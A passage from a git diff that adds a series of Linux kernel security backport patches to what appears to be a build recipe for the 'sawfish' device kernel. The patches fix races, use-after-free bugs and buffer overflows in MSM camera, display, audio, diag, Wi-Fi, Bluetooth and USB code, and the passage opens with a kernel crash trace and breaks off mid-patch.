name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 + task: ffff8a467a39a340 task.stack: ffffb15c40770000 + RIP: 0010:encrypted_update+0xb0/0x170 + RSP: 0018:ffffb15c40773de8 EFLAGS: 00010246 + RAX: 0000000000000000 RBX: ffff8a467a275b00 RCX: 0000000000000000 + RDX: 0000000000000005 RSI: ffff8a467a275b14 RDI: ffffffffb742f303 + RBP: ffffb15c40773e20 R08: 0000000000000000 R09: ffff8a467a275b17 + R10: 0000000000000020 R11: 0000000000000000 R12: 0000000000000000 + R13: 0000000000000000 R14: ffff8a4677057180 R15: ffff8a467a275b0f + FS: 00007f5d7fb08700(0000) GS:ffff8a467f200000(0000) knlGS:0000000000000000 + CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 + CR2: 0000000000000018 CR3: 0000000077262005 CR4: 00000000001606f0 + Call Trace: + key_create_or_update+0x2bc/0x460 + SyS_add_key+0x10c/0x1d0 + entry_SYSCALL_64_fastpath+0x1f/0xbe + RIP: 0033:0x7f5d7f211259 + RSP: 002b:00007ffed03904c8 EFLAGS: 00000246 ORIG_RAX: 00000000000000f8 + RAX: ffffffffffffffda RBX: 000000003b2a7955 RCX: 00007f5d7f211259 + RDX: 00000000004009e4 RSI: 00000000004009ff RDI: 0000000000400a04 + RBP: 0000000068db8bad R08: 000000003b2a7955 R09: 0000000000000004 + R10: 000000000000001a R11: 0000000000000246 R12: 0000000000400868 + R13: 00007ffed03905d0 R14: 0000000000000000 R15: 0000000000000000 + Code: 77 28 e8 64 34 1f 00 45 31 c0 31 c9 48 8d 55 c8 48 89 df 48 8d 75 d0 e8 ff f9 ff ff 85 c0 41 89 c4 0f 88 84 00 00 00 4c 8b 7d c8 <49> 8b 75 18 4c 89 ff e8 24 f8 ff ff 85 c0 41 89 c4 78 6d 49 8b + RIP: encrypted_update+0xb0/0x170 RSP: ffffb15c40773de8 + CR2: 0000000000000018 + +Reported-by: Eric Biggers +Signed-off-by: David Howells +cc: Eric Biggers +Signed-off-by: Greg Kroah-Hartman +--- + security/keys/key.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/security/keys/key.c b/security/keys/key.c +index 8f67cd3bb999..783738ea20ee 100644 +--- a/security/keys/key.c ++++ b/security/keys/key.c +@@ -909,6 +909,16 @@ error: + */ + __key_link_end(keyring, &index_key, edit); + ++ key = key_ref_to_ptr(key_ref); ++ if (test_bit(KEY_FLAG_USER_CONSTRUCT, &key->flags)) { ++ ret = wait_for_key_construction(key, true); ++ if (ret < 0) { ++ key_ref_put(key_ref); ++ key_ref = ERR_PTR(ret); ++ goto error_free_prep; ++ } ++ } ++ + key_ref = __key_update(key_ref, &prep); + goto error_free_prep; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0304.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0304.diff new file mode 100644 index 0000000..4a6fcd2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0304.diff @@ -0,0 +1,14 @@ +diff --git a/drivers/media/platform/msm/camera_v2/sensor/flash/msm_flash.c b/drivers/media/platform/msm/camera_v2/sensor/flash/msm_flash.c +index 0390e0e..40d731b 100644 +--- a/drivers/media/platform/msm/camera_v2/sensor/flash/msm_flash.c ++++ b/drivers/media/platform/msm/camera_v2/sensor/flash/msm_flash.c +@@ -1114,6 +1114,9 @@ + break; + } + break; ++ case VIDIOC_MSM_FLASH_CFG: ++ pr_err("invalid cmd 0x%x received\n", cmd); ++ return -EINVAL; + default: + return msm_flash_subdev_ioctl(sd, cmd, arg); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0305-46db8f8292f7-msm mdss Fix potential race condition in rotator.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0305-46db8f8292f7-msm mdss Fix potential race condition in rotator.patch new file mode 100644 index 0000000..1b1e026 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0305-46db8f8292f7-msm mdss Fix potential race condition in rotator.patch @@ -0,0 +1,55 @@ +From 46db8f8292f71d0086140ae90bce5ae8ff161cb1 Mon Sep 17 00:00:00 2001 +From: Krishna Manikandan +Date: Mon, 18 Sep 2017 12:13:40 +0530 +Subject: msm: mdss: Fix potential race condition in rotator + +There might be a possible race condition in rotator, where two +threads can free same perf structures. Adding proper locking +to avoid such race conditions. + +Change-Id: I4976da6f176df24da2ec86c4c1f176cc43aba05b +Signed-off-by: Krishna Chaitanya Devarakonda +Signed-off-by: Krishna Manikandan +--- + drivers/video/msm/mdss/mdss_rotator.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/drivers/video/msm/mdss/mdss_rotator.c b/drivers/video/msm/mdss/mdss_rotator.c +index 4a40c05..6a05643 100644 +--- a/drivers/video/msm/mdss/mdss_rotator.c ++++ b/drivers/video/msm/mdss/mdss_rotator.c +@@ -1125,6 +1125,7 @@ static void mdss_rotator_release_from_work_distribution( + bool free_perf = false; + u32 wb_idx = entry->queue->hw->wb_id; + ++ mutex_lock(&mgr->lock); + mutex_lock(&entry->perf->work_dis_lock); + if (entry->perf->work_distribution[wb_idx]) + entry->perf->work_distribution[wb_idx]--; +@@ -1148,6 +1149,7 @@ static void mdss_rotator_release_from_work_distribution( + mdss_rotator_clk_ctrl(mgr, false); + entry->perf = NULL; + } ++ mutex_unlock(&mgr->lock); + } + } + +@@ -2044,7 +2046,6 @@ static int mdss_rotator_close_session(struct mdss_rot_mgr *mgr, + list_del_init(&perf->list); + mutex_unlock(&perf->work_dis_lock); + mutex_unlock(&private->perf_lock); +- mutex_unlock(&mgr->lock); + + if (offload_release_work) + goto done; +@@ -2057,6 +2058,7 @@ static int mdss_rotator_close_session(struct mdss_rot_mgr *mgr, + done: + pr_debug("Closed session id:%u", id); + ATRACE_END(__func__); ++ mutex_unlock(&mgr->lock); + return 0; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0306-67ad84bd92bb-msm mdss check the length of the external input buffer properly.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0306-67ad84bd92bb-msm mdss check the length of the external input buffer properly.patch new file mode 100644 index 0000000..08e3e17 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0306-67ad84bd92bb-msm mdss check the length of the external input buffer properly.patch @@ -0,0 +1,32 @@ +From 67ad84bd92bb10a655624ebe99d31ae44c06db5a Mon Sep 17 00:00:00 2001 +From: Ashish Garg +Date: Thu, 14 Sep 2017 13:13:16 +0530 +Subject: msm: mdss: check the length of the external input buffer properly + +dchdr->dlen is a short variable controlled by the user-provided data +(a string). If the value is negative, the condition does not pass +and loop continues, also increasing the value of "len". As a result +buffer overflow and overwrite occurs. + +Change-Id: I5eacec446c9a8b5b82fc3bc6d1281303f336d4de +Signed-off-by: Ashish Garg +--- + drivers/video/msm/mdss/mdss_dsi.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/video/msm/mdss/mdss_dsi.c b/drivers/video/msm/mdss/mdss_dsi.c +index d4768ece..e206a32 100644 +--- a/drivers/video/msm/mdss/mdss_dsi.c ++++ b/drivers/video/msm/mdss/mdss_dsi.c +@@ -953,7 +953,7 @@ static int mdss_dsi_cmd_flush(struct file *file, fl_owner_t id) + while (len >= sizeof(*dchdr)) { + dchdr = (struct dsi_ctrl_hdr *)bp; + dchdr->dlen = ntohs(dchdr->dlen); +- if (dchdr->dlen > len) { ++ if (dchdr->dlen > len || dchdr->dlen < 0) { + pr_err("%s: dtsi cmd=%x error, len=%d\n", + __func__, dchdr->dtype, dchdr->dlen); + kfree(buf); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0307-2e1b54e38f15-diag Add mutex protection while reading dci debug statistics.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0307-2e1b54e38f15-diag Add mutex protection while reading dci debug statistics.patch new file mode 100644 index 0000000..137b8aa --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0307-2e1b54e38f15-diag Add mutex protection while reading dci debug statistics.patch @@ -0,0 +1,65 @@ +From 2e1b54e38f1516e70d9f6581c4f1ee935effb903 Mon Sep 17 00:00:00 2001 +From: Sreelakshmi Gownipalli +Date: Mon, 9 Oct 2017 12:59:56 -0700 +Subject: diag: Add mutex protection while reading dci debug statistics + +Unserialized access to diag_dbgfs_dci_data_index can lead to +heap overflow. Add mutex protection while updating the +diag_dbgfs_dci_data_index. + +Change-Id: Iee9d0447494e3576e6293afcd4d7611bc429aa8a +Signed-off-by: Sreelakshmi Gownipalli +--- + drivers/char/diag/diag_debugfs.c | 7 +++++-- + 1 file changed, 5 insertions(+), 2 deletions(-) + +diff --git a/drivers/char/diag/diag_debugfs.c b/drivers/char/diag/diag_debugfs.c +index b66c8cb..040790a 100644 +--- a/drivers/char/diag/diag_debugfs.c ++++ b/drivers/char/diag/diag_debugfs.c +@@ -50,7 +50,7 @@ static int diag_dbgfs_bridgeinfo_index; + static int diag_dbgfs_finished; + static int diag_dbgfs_dci_data_index; + static int diag_dbgfs_dci_finished; +- ++static struct mutex diag_dci_dbgfs_mutex; + static ssize_t diag_dbgfs_read_status(struct file *file, char __user *ubuf, + size_t count, loff_t *ppos) + { +@@ -151,6 +151,7 @@ static ssize_t diag_dbgfs_read_dcistats(struct file *file, + buf_size = ksize(buf); + bytes_remaining = buf_size; + ++ mutex_lock(&diag_dci_dbgfs_mutex); + if (diag_dbgfs_dci_data_index == 0) { + bytes_written = + scnprintf(buf, buf_size, +@@ -206,8 +207,8 @@ static ssize_t diag_dbgfs_read_dcistats(struct file *file, + } + temp_data++; + } +- + diag_dbgfs_dci_data_index = (i >= DIAG_DCI_DEBUG_CNT) ? 0 : i + 1; ++ mutex_unlock(&diag_dci_dbgfs_mutex); + bytes_written = simple_read_from_buffer(ubuf, count, ppos, buf, + bytes_in_buf); + kfree(buf); +@@ -1065,6 +1066,7 @@ int diag_debugfs_init(void) + pr_warn("diag: could not allocate memory for dci debug info\n"); + + mutex_init(&dci_stat_mutex); ++ mutex_init(&diag_dci_dbgfs_mutex); + return 0; + err: + kfree(dci_traffic); +@@ -1081,6 +1083,7 @@ void diag_debugfs_cleanup(void) + + kfree(dci_traffic); + mutex_destroy(&dci_stat_mutex); ++ mutex_destroy(&diag_dci_dbgfs_mutex); + } + #else + int diag_debugfs_init(void) { return 0; } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0308-c4ab75dfc22f-drivers qdsp6v2 Add mutex unlock to properly release lock.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0308-c4ab75dfc22f-drivers qdsp6v2 Add mutex unlock to properly release lock.patch new file mode 100644 index 0000000..3de3cdb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0308-c4ab75dfc22f-drivers qdsp6v2 Add mutex unlock to properly release lock.patch @@ -0,0 +1,62 @@ +From c4ab75dfc22f644fb5ee70bd515aaf633761cd3b Mon Sep 17 00:00:00 2001 +From: Tanya Dixit +Date: Thu, 26 Oct 2017 13:50:42 +0530 +Subject: drivers: qdsp6v2: Add mutex unlock to properly release lock + +Add mutex unlock in function audio_effects_shared_ioctl +at appropriate place to prevent use after free. + +CRs-Fixed: 2123291 +Change-Id: Ie0d321dc8cc20a295d102a44faea7e5710834932 +Signed-off-by: Tanya Dixit +--- + drivers/misc/qcom/qdsp6v2/audio_hwacc_effects.c | 5 ++--- + 1 file changed, 2 insertions(+), 3 deletions(-) + +diff --git a/drivers/misc/qcom/qdsp6v2/audio_hwacc_effects.c b/drivers/misc/qcom/qdsp6v2/audio_hwacc_effects.c +index e602650..ebe9ab7 100644 +--- a/drivers/misc/qcom/qdsp6v2/audio_hwacc_effects.c ++++ b/drivers/misc/qcom/qdsp6v2/audio_hwacc_effects.c +@@ -161,7 +161,6 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + pr_err("%s: Read buffer Allocation failed rc = %d\n", + __func__, rc); + rc = -ENOMEM; +- mutex_unlock(&effects->lock); + goto readbuf_fail; + } + atomic_set(&effects->out_count, effects->config.output.num_buf); +@@ -176,7 +175,6 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + if (rc < 0) { + pr_err("%s: pcm read block config failed\n", __func__); + rc = -EINVAL; +- mutex_unlock(&effects->lock); + goto cfg_fail; + } + pr_debug("%s: dec: sample_rate: %d, num_channels: %d, bit_width: %d\n", +@@ -191,7 +189,6 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + pr_err("%s: pcm write format block config failed\n", + __func__); + rc = -EINVAL; +- mutex_unlock(&effects->lock); + goto cfg_fail; + } + +@@ -325,6 +322,7 @@ ioctl_fail: + readbuf_fail: + q6asm_audio_client_buf_free_contiguous(IN, + effects->ac); ++ mutex_unlock(&effects->lock); + return rc; + cfg_fail: + q6asm_audio_client_buf_free_contiguous(IN, +@@ -332,6 +330,7 @@ cfg_fail: + q6asm_audio_client_buf_free_contiguous(OUT, + effects->ac); + effects->buf_alloc = 0; ++ mutex_unlock(&effects->lock); + return rc; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0309-a549abd08f3a-msm msmbus Add mutex lock for floor vote data.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0309-a549abd08f3a-msm msmbus Add mutex lock for floor vote data.patch new file mode 100644 index 0000000..f746de2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0309-a549abd08f3a-msm msmbus Add mutex lock for floor vote data.patch @@ -0,0 +1,110 @@ +From a549abd08f3a52593d9602128c63c1212e90984b Mon Sep 17 00:00:00 2001 +From: Odelu Kukatla +Date: Tue, 24 Oct 2017 22:43:38 +0530 +Subject: msm: msm_bus: Add mutex lock for floor vote data + +Floor vote data needs to be protected with mutex lock to +avoid double free of memory due to race condtion. + +Change-Id: Ifaa01a14d273ccba6b9463aff3a41c0038b05f06 +Signed-off-by: Odelu Kukatla +--- + drivers/platform/msm/msm_bus/msm_bus_dbg_voter.c | 15 ++++++++++++++- + 1 file changed, 14 insertions(+), 1 deletion(-) + +diff --git a/drivers/platform/msm/msm_bus/msm_bus_dbg_voter.c b/drivers/platform/msm/msm_bus/msm_bus_dbg_voter.c +index a876484..ba1adb8 100644 +--- a/drivers/platform/msm/msm_bus/msm_bus_dbg_voter.c ++++ b/drivers/platform/msm/msm_bus/msm_bus_dbg_voter.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2014-2017, The Linux Foundation. All rights reserved. + * + * This program is Mree software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -27,6 +27,7 @@ struct msm_bus_floor_client_type { + }; + + static struct class *bus_floor_class; ++static DEFINE_RT_MUTEX(msm_bus_floor_vote_lock); + #define MAX_VOTER_NAME (50) + #define DEFAULT_NODE_WIDTH (8) + #define DBG_NAME(s) (strnstr(s, "-", 7) + 1) +@@ -64,18 +65,22 @@ static ssize_t bus_floor_active_only_store(struct device *dev, + { + struct msm_bus_floor_client_type *cl; + ++ rt_mutex_lock(&msm_bus_floor_vote_lock); + cl = dev_get_drvdata(dev); + + if (!cl) { + pr_err("%s: Can't find cl", __func__); ++ rt_mutex_unlock(&msm_bus_floor_vote_lock); + return 0; + } + + if (sscanf(buf, "%d", &cl->active_only) != 1) { + pr_err("%s:return error", __func__); ++ rt_mutex_unlock(&msm_bus_floor_vote_lock); + return -EINVAL; + } + ++ rt_mutex_unlock(&msm_bus_floor_vote_lock); + return n; + } + +@@ -100,20 +105,24 @@ static ssize_t bus_floor_vote_store(struct device *dev, + struct msm_bus_floor_client_type *cl; + int ret = 0; + ++ rt_mutex_lock(&msm_bus_floor_vote_lock); + cl = dev_get_drvdata(dev); + + if (!cl) { + pr_err("%s: Can't find cl", __func__); ++ rt_mutex_unlock(&msm_bus_floor_vote_lock); + return 0; + } + + if (sscanf(buf, "%llu", &cl->cur_vote_hz) != 1) { + pr_err("%s:return error", __func__); ++ rt_mutex_unlock(&msm_bus_floor_vote_lock); + return -EINVAL; + } + + ret = msm_bus_floor_vote_context(dev_name(dev), cl->cur_vote_hz, + cl->active_only); ++ rt_mutex_unlock(&msm_bus_floor_vote_lock); + return n; + } + +@@ -126,15 +135,18 @@ static ssize_t bus_floor_vote_store_api(struct device *dev, + char name[10]; + u64 vote_khz = 0; + ++ rt_mutex_lock(&msm_bus_floor_vote_lock); + cl = dev_get_drvdata(dev); + + if (!cl) { + pr_err("%s: Can't find cl", __func__); ++ rt_mutex_unlock(&msm_bus_floor_vote_lock); + return 0; + } + + if (sscanf(buf, "%9s %llu", name, &vote_khz) != 2) { + pr_err("%s:return error", __func__); ++ rt_mutex_unlock(&msm_bus_floor_vote_lock); + return -EINVAL; + } + +@@ -142,6 +154,7 @@ static ssize_t bus_floor_vote_store_api(struct device *dev, + __func__, name, vote_khz); + + ret = msm_bus_floor_vote(name, vote_khz); ++ rt_mutex_unlock(&msm_bus_floor_vote_lock); + return n; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0310-d39f7f066339-wcnss fix the potential buffer flow issue in firmware setup.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0310-d39f7f066339-wcnss fix the potential buffer flow issue in firmware setup.patch new file mode 100644 index 0000000..c2a4a72 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0310-d39f7f066339-wcnss fix the potential buffer flow issue in firmware setup.patch @@ -0,0 +1,34 @@ +From d39f7f0663394e1e863090108a80946b90236112 Mon Sep 17 00:00:00 2001 +From: Sarada Prasanna Garnayak +Date: Tue, 11 Jul 2017 13:01:19 +0530 +Subject: wcnss: fix the potential buffer flow issue in firmware setup + +Add the check against negative or invalid firmware size passed +by the userspace thread in firmware setup sysfs write operation. +Update the datatype of the variable which holds the firmware size +passed by userspace thread during firmware setup and WLAN calibration +data update process. + +CRs-Fixed: 2072966 +Change-Id: I8c84ad0d1b0a5f44a39c9c5b228734b0f693e8dd +Signed-off-by: Sarada Prasanna Garnayak +--- + drivers/net/wireless/wcnss/wcnss_wlan.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/wireless/wcnss/wcnss_wlan.c b/drivers/net/wireless/wcnss/wcnss_wlan.c +index 4c721d0..153d473 100644 +--- a/drivers/net/wireless/wcnss/wcnss_wlan.c ++++ b/drivers/net/wireless/wcnss/wcnss_wlan.c +@@ -407,7 +407,7 @@ static struct { + int user_cal_read; + int user_cal_available; + u32 user_cal_rcvd; +- int user_cal_exp_size; ++ u32 user_cal_exp_size; + int iris_xo_mode_set; + int fw_vbatt_state; + char wlan_nv_macAddr[WLAN_MAC_ADDR_SIZE]; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0311.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0311.diff new file mode 100644 index 0000000..a0558d4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0311.diff @@ -0,0 +1,28 @@ +diff --git a/drivers/mfd/wcd9xxx-core.c b/drivers/mfd/wcd9xxx-core.c +index 2f31f24..7c2054b 100644 +--- a/drivers/mfd/wcd9xxx-core.c ++++ b/drivers/mfd/wcd9xxx-core.c +@@ -2101,19 +2101,19 @@ + ("wcd9xxx_core", 0); + if (!IS_ERR(debugfs_wcd9xxx_dent)) { + debugfs_peek = debugfs_create_file("slimslave_peek", +- S_IFREG | S_IRUGO, debugfs_wcd9xxx_dent, ++ S_IFREG | S_IRUSR, debugfs_wcd9xxx_dent, + (void *) "slimslave_peek", &codec_debug_ops); + + debugfs_poke = debugfs_create_file("slimslave_poke", +- S_IFREG | S_IRUGO, debugfs_wcd9xxx_dent, ++ S_IFREG | S_IRUSR, debugfs_wcd9xxx_dent, + (void *) "slimslave_poke", &codec_debug_ops); + + debugfs_power_state = debugfs_create_file("power_state", +- S_IFREG | S_IRUGO, debugfs_wcd9xxx_dent, ++ S_IFREG | S_IRUSR, debugfs_wcd9xxx_dent, + (void *) "power_state", &codec_debug_ops); + + debugfs_reg_dump = debugfs_create_file("slimslave_reg_dump", +- S_IFREG | S_IRUGO, debugfs_wcd9xxx_dent, ++ S_IFREG | S_IRUSR, debugfs_wcd9xxx_dent, + (void *) "slimslave_reg_dump", &codec_debug_ops); + } + #endif diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0312.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0312.diff new file mode 100644 index 0000000..eeb7271 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0312.diff @@ -0,0 +1,15 @@ +diff --git a/drivers/media/platform/msm/camera_v2/sensor/ois/msm_ois.c b/drivers/media/platform/msm/camera_v2/sensor/ois/msm_ois.c +index 3ee1412..9b4bed8 100644 +--- a/drivers/media/platform/msm/camera_v2/sensor/ois/msm_ois.c ++++ b/drivers/media/platform/msm/camera_v2/sensor/ois/msm_ois.c +@@ -1158,6 +1158,10 @@ + parg = &ois_data; + break; + } ++ break; ++ case VIDIOC_MSM_OIS_CFG: ++ pr_err("%s: invalid cmd 0x%x received\n", __func__, cmd); ++ return -EINVAL; + } + rc = msm_ois_subdev_ioctl(sd, cmd, parg); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0313-7c2ad195deda-msm sensor actuator avoid accessing out of bound memory.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0313-7c2ad195deda-msm sensor actuator avoid accessing out of bound memory.patch new file mode 100644 index 0000000..e8caf1c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0313-7c2ad195deda-msm sensor actuator avoid accessing out of bound memory.patch @@ -0,0 +1,55 @@ +From 7c2ad195dedaab01eeea64f97af1ebaa38277a57 Mon Sep 17 00:00:00 2001 +From: Haibin Liu +Date: Tue, 24 Oct 2017 20:32:48 +0800 +Subject: msm: sensor: actuator: avoid accessing out of bound memory + +Issue: +When total_steps is updated, after that, copy_from_user +fails with an error, then, i2c_reg_tbl is not allocated. +In this case, when calling msm_actuator_parse_i2c_params, +it lead to out-of-bound memory write. + +Fix: +1) Assign total_steps to zero when error from copying. +2) Add NULL pointer check for i2c tbl. + +CRs-Fixed: 2111672 +Change-Id: Ib9dcb182356e2df8078c131edfd0791fa95a35e0 +Signed-off-by: Haibin Liu +--- + .../platform/msm/camera_v2/sensor/actuator/msm_actuator.c | 11 +++++++++-- + 1 file changed, 9 insertions(+), 2 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c b/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c +index f3a2fe0..3232978d 100644 +--- a/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c ++++ b/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c +@@ -96,6 +96,11 @@ static void msm_actuator_parse_i2c_params(struct msm_actuator_ctrl_t *a_ctrl, + return; + } + ++ if (a_ctrl->i2c_reg_tbl == NULL) { ++ pr_err("failed. i2c reg tabl is NULL"); ++ return; ++ } ++ + size = a_ctrl->reg_tbl_size; + write_arr = a_ctrl->reg_tbl; + i2c_tbl = a_ctrl->i2c_reg_tbl; +@@ -1278,9 +1283,11 @@ static int32_t msm_actuator_set_param(struct msm_actuator_ctrl_t *a_ctrl, + + if (copy_from_user(&a_ctrl->region_params, + (void *)set_info->af_tuning_params.region_params, +- a_ctrl->region_size * sizeof(struct region_params_t))) ++ a_ctrl->region_size * sizeof(struct region_params_t))) { ++ a_ctrl->total_steps = 0; ++ pr_err("Error copying region_params\n"); + return -EFAULT; +- ++ } + if (a_ctrl->act_device_type == MSM_CAMERA_PLATFORM_DEVICE) { + cci_client = a_ctrl->i2c_client.cci_client; + cci_client->sid = +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0314-860f82fe6b55-ath9k fix tx99 use after free.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0314-860f82fe6b55-ath9k fix tx99 use after free.patch new file mode 100644 index 0000000..d2d7caf --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0314-860f82fe6b55-ath9k fix tx99 use after free.patch @@ -0,0 +1,62 @@ +From 860f82fe6b55a25b5ee00d64d2b7fa5ab5c07441 Mon Sep 17 00:00:00 2001 +From: Miaoqing Pan +Date: Mon, 17 Jul 2017 15:03:39 +0800 +Subject: ath9k: fix tx99 use after free + +One scenario that could lead to UAF is two threads writing +simultaneously to the "tx99" debug file. One of them would +set the "start" value to true and follow to ath9k_tx99_init(). +Inside the function it would set the sc->tx99_state to true +after allocating sc->tx99skb. Then, the other thread would +execute write_file_tx99() and call ath9k_tx99_deinit(). +sc->tx99_skb would be freed. After that, the first thread +would continue inside ath9k_tx99_init() and call +r = ath9k_tx99_send(sc, sc->tx99_skb, &txctl); +that would make use of the freed sc->tx99_skb memory. + +CRs-Fixed: 2031398 +Change-Id: I28b0b6375847a0a5f864c52e3886e352932edc41 +Signed-off-by: Miaoqing Pan +--- + drivers/net/wireless/ath/ath9k/tx99.c | 13 +++++++++---- + 1 file changed, 9 insertions(+), 4 deletions(-) + +diff --git a/drivers/net/wireless/ath/ath9k/tx99.c b/drivers/net/wireless/ath/ath9k/tx99.c +index 40ab65e..2ea3589 100644 +--- a/drivers/net/wireless/ath/ath9k/tx99.c ++++ b/drivers/net/wireless/ath/ath9k/tx99.c +@@ -190,22 +190,27 @@ static ssize_t write_file_tx99(struct file *file, const char __user *user_buf, + if (strtobool(buf, &start)) + return -EINVAL; + ++ mutex_lock(&sc->mutex); ++ + if (start == sc->tx99_state) { + if (!start) +- return count; ++ goto out; + ath_dbg(common, XMIT, "Resetting TX99\n"); + ath9k_tx99_deinit(sc); + } + + if (!start) { + ath9k_tx99_deinit(sc); +- return count; ++ goto out; + } + + r = ath9k_tx99_init(sc); +- if (r) ++ if (r) { ++ mutex_unlock(&sc->mutex); + return r; +- ++ } ++out: ++ mutex_unlock(&sc->mutex); + return count; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0315-f6237750acc4-Bluetooth bnep bnepaddconnection should verify that its.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0315-f6237750acc4-Bluetooth bnep bnepaddconnection should verify that its.patch new file mode 100644 index 0000000..daeb889 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0315-f6237750acc4-Bluetooth bnep bnepaddconnection should verify that its.patch @@ -0,0 +1,34 @@ +From f6237750acc4494cb28e174289d5d335313ff2ea Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Fri, 19 Dec 2014 06:20:59 +0000 +Subject: Bluetooth: bnep: bnep_add_connection() should verify that it's + dealing with l2cap socket + +commit 71bb99a02b32b4cc4265118e85f6035ca72923f0 upstream. + +same story as cmtp + +Signed-off-by: Al Viro +Signed-off-by: Marcel Holtmann +Signed-off-by: Greg Kroah-Hartman +--- + net/bluetooth/bnep/core.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/bluetooth/bnep/core.c b/net/bluetooth/bnep/core.c +index 85bcc21e84d2..ce82722d049b 100644 +--- a/net/bluetooth/bnep/core.c ++++ b/net/bluetooth/bnep/core.c +@@ -533,6 +533,9 @@ int bnep_add_connection(struct bnep_connadd_req *req, struct socket *sock) + + BT_DBG(""); + ++ if (!l2cap_is_socket(sock)) ++ return -EBADFD; ++ + baswap((void *) dst, &l2cap_pi(sock->sk)->chan->dst); + baswap((void *) src, &l2cap_pi(sock->sk)->chan->src); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0316.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0316.diff new file mode 100644 index 0000000..013fb1c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0316.diff @@ -0,0 +1,12 @@ +--- a/net/bluetooth/cmtp/core.c ++++ b/net/bluetooth/cmtp/core.c +@@ -334,6 +334,9 @@ int cmtp_add_connection(struct cmtp_conn + + BT_DBG(""); + ++ if (!l2cap_is_socket(sock)) ++ return -EBADFD; ++ + session = kzalloc(sizeof(struct cmtp_session), GFP_KERNEL); + if (!session) + return -ENOMEM; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0317-8ae04f638496-USB serial console fix useafterfree after failed setup.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0317-8ae04f638496-USB serial console fix useafterfree after failed setup.patch new file mode 100644 index 0000000..eee0783 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0317-8ae04f638496-USB serial console fix useafterfree after failed setup.patch @@ -0,0 +1,34 @@ +From 8ae04f638496b7a9b0381aecf5c47dcb5a3bd6fc Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Wed, 4 Oct 2017 11:01:13 +0200 +Subject: USB: serial: console: fix use-after-free after failed setup + +commit 299d7572e46f98534033a9e65973f13ad1ce9047 upstream. + +Make sure to reset the USB-console port pointer when console setup fails +in order to avoid having the struct usb_serial be prematurely freed by +the console code when the device is later disconnected. + +Fixes: 73e487fdb75f ("[PATCH] USB console: fix disconnection issues") +Acked-by: Greg Kroah-Hartman +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/serial/console.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/usb/serial/console.c b/drivers/usb/serial/console.c +index 29fa1c3d0089b..926c1f2dc962c 100644 +--- a/drivers/usb/serial/console.c ++++ b/drivers/usb/serial/console.c +@@ 